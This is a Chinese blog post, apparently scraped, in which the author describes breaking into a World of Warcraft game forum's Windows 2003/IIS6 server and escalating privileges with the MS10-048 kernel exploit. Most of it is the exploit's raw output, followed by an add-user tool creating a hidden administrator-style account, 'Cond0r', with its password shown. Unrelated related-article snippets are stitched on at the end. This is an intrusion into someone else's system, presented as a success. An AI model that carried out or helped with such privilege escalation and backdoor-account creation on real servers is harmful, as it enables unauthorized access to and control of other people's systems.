MS10048依旧是Windows 2003 x86 的杀器
今天搞了个wow的游戏论坛，服务器环境是win03 x86+iis6.0+php+mysql。
提权的时候各种无奈，mysql无权限，而且没root，试了几个别的方法都不行，实在没办法的时候，用MS10048试了下，成功了。
Dojibiron by Ronald Huizer, (c) master#h4cker.us [ ] Trying to allocate a page at NULL.
[+] Allocated page at 0x0000000000000000 for 0x0000000000000001
[ ] Bootstrapping kernel resolver.
Module ntoskrnl.exe at 0x0000000000BD0000
Base of driver: 0xFFFFF80001000000
[+] Success.
[ ] Resolving PsReferencePrimaryToken
[+] Success: 0xFFFFF8000129FE50
[ ] Resolving PsInitialSystemProcess
[+] Success: 0xFFFFF800011D1FB0
[ ] Resolving PsLookupProcessByProcessId
[+] Success: 0xFFFFF80001288BC0
[ ] Resolving PsDereferencePrimaryToken
[+] Success: 0xFFFFF80001311B40
[+] Handle table retrieval succeeded.
Userspace handle table: 0x00000000006B0000
Kernelspace handle table: 0xFFFFF97FF7990000
Handle table entries: 1024
[ ] Allocating fake HEAD page.
[+] Allocated page at 0x0000000004000000 for 0x00000000040001FF
[ ] Setting up CBT filter hook.
[+] Success.
[ ] Creating evil window
[+] Success.
[ ] Destroyed handle at: 0xFFFFF97FF7990FC0
pHead: 0xFFFFF97FF906BA00
pOwner: 0xFFFFFA80000E8D80
bType: 0x01 - TYPE_WINDOW
bFlags: 0x00 -
wUniq: 0x0004
[ ] Trigger handle at: 0xFFFFF97FF7995AC0
pHead: 0xFFFFF97FF90900A0
pOwner: 0xFFFFFA80000E8D80
bType: 0x01 - TYPE_WINDOW
bFlags: 0x00 -
wUniq: 0x0003
[ ] Writing pool addr to: 0xFFFFF97FF7990F7F ~ MS10_048 X64 EXP ~ Need a girl to love QQ 65665651 email master#h4cker.us 10010101010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
QQ 65665651 email master#h4cker.us 10010101010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
aster#h4cker.us 10010101010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
01010100010101010101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
0101010101100000110101001010111001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
1001010101010101101010101010101011111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
111001101101010000000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
00000111010111111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
111010100101010111011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
011100111011000110101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
0101000000110110101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
10101011001010010101001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
1001010110101010111010111111111110101010101111010101110101010101010101010101010111100000000000110
11111111110101010101111010101110101010101010101010101010111100000000000110
110101010101010101010101010111100000000000110
111100000000000110
0000110
[ ] Checking the success flag.
[+] Set to 2 exploit half succeeded
[ ] Destroying trigger window
pHead: 0x00000000000003CA
pOwner: 0x0000000000000000
bType: 0x00 - TYPE_FREE
bFlags: 0x00 -
wUniq: 0x0004
[ ] Spawning half a shell...
Command: D:\RECYCLER\add.exe
[+] Enjoy!
========================================== Api Add User Made By Cond0r 2011.3.20
Adduser.exe UserName PassWord Group
==========================================
User List: --> 7ksf
--> ASPNET
--> Guestasdfa
--> IUSR_NJXW-12-5-2
--> IWAM_NJXW-12-5-2
--> SUPPORT_388945a0 Group List: --> Administrators
--> Backup Operators
--> Distributed COM Users
--> Guests
--> Network Configuration Operators
--> Performance Log Users
--> Performance Monitor Users
--> Power Users
--> Print Operators
--> Remote Desktop Users
--> Replicator
--> Users
--> HelpServicesGroup
--> IIS_WPG
--> TelnetClients SuccessFul !!User "Cond0r" Pass "123!@#asdASD" Add User SuccessFul !! 利用api加用户工具，成功添加cond0r密码为123!@#asdASD的账户
MS10048依旧是Windows 2003 x86 的杀器的更多相关文章
- Windows 2003 FastCgi安装环境
Windows 2003 IIS+PHP5.4.3 安装教程 一.准备相关组件 安装前,先安装IIS. 1.安装FastCgi for IIS6 Fastcgi官方网址是:http://www.iis ...
- Windows 2003上 SaltStack/Salt 和 psutil 可能存在的问题及解决
今天把salt安装在windows 2003上,发现无法启动,随之而来的是一个有一个的坑,让我们一起逐个排查. 问题一(salt无法启动) salt无法启动,错误结果如图:
- Windows 2003】利用域&&组策略自动部署软件
Windows 2003]利用域&&组策略自动部署软件 转自 http://hi.baidu.com/qu6zhi/item/4c0fa100dc768613cc34ead0 ==== ...
- 使用docker-compose 大杀器来部署服务 上
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
- Windows 2003 Server 标准版启动问题解决（资源转贴）
维护的系统之一是部署在windows2003 Server标准版的服务器上,可能是由于某个应用问题,导致远程重启失败,害得我在机房呆了一早晨,可算是够折腾的.最后按照官方文档解决,刚放文档地址是:ht ...
- 使用docker-compose 大杀器来部署服务 上（转）
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
- 利用pentestbox打造ms17-010移动"杀器"
本文首发Freebuf,属原创奖励计划,未经许可禁止转载. 链接:http://www.freebuf.com/articles/system/132274.html 一. 前言 前段时间Shadow ...
- [转]使用docker-compose 大杀器来部署服务 上
本文转自:https://www.cnblogs.com/neptunemoon/p/6512121.html 使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker ...
- 使用docker-compose 大杀器来部署服务
使用docker-compose 大杀器来部署服务 上 我们都听过或者用过 docker,然而使用方式却是仅仅用手动的方式,这样去操作 docker 还是很原始. 好吧,可能在小白的眼中噼里啪啦的对着 ...
随机推荐
- 29.调整数组顺序使奇数位于偶数前面[ReOrderArray]
[题目] 输入一个整数数组,调整数组中数字的顺序,使得所有奇数位于数组的前半部分,所有偶数位于数组的后半部分.要求时间复杂度为O(n). [分析] 如果不考虑时间复杂度,最简单的思路应该是从头扫描这个 ...
- iOS 推荐学习__bridge等ARC知识的好资料
请下载 iOS5 by Tutorials!写得很好的!
- WPF 将PPT,Word转成图片
在Office下,PowerPoint可以直接把每张幻灯片转成图片,而Word不能直接保存图片.所以只能通过先转换成xps文件,然后再转成图片. 一.PPT 保存为图片 /// <summary ...
- Java for LeetCode 064 Minimum Path Sum
Given a m x n grid filled with non-negative numbers, find a path from top left to bottom right which ...
- 中石油-高精度阶乘-java
问题 F: [高精度]高精度阶乘 时间限制: 1 Sec 内存限制: 64 MB提交: 49 解决: 13[提交][状态][讨论版] 题目描述 <魔法宝典>对于修罗王是如此重要,是因为 ...
- 两个文件去重的N种姿势
最近利用shell帮公司优化挖掘关键词的流程,用shell替代了多个环节的操作,极大提高了工作效率. shell在文本处理上确有极大优势,比如多文本合并.去重等,但是最近遇到了一个难搞的问题,即两个大 ...
- [MAC] 在标题栏上显示目录完整路径
转载自 :http://www.cnblogs.com/yipu/archive/2013/03/13/2956957.html 当我们使用Finder浏览文件的时候,当前目录的名字会显示在标题栏顶端 ...
- SQL 查询45题
表格代码 create table student ( sno ) primary key, sname ) not null, ssex ) not null, sbirthday datetime ...
- ***CI查询辅助函数：insert_id()、affected_rows()
查询辅助函数 $this->db->insert_id() 这个ID号是执行数据插入时的ID. $this->db->affected_rows() Displays the ...
- hdu 1286:找新朋友（数论，欧拉函数）
找新朋友 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Total Submis ...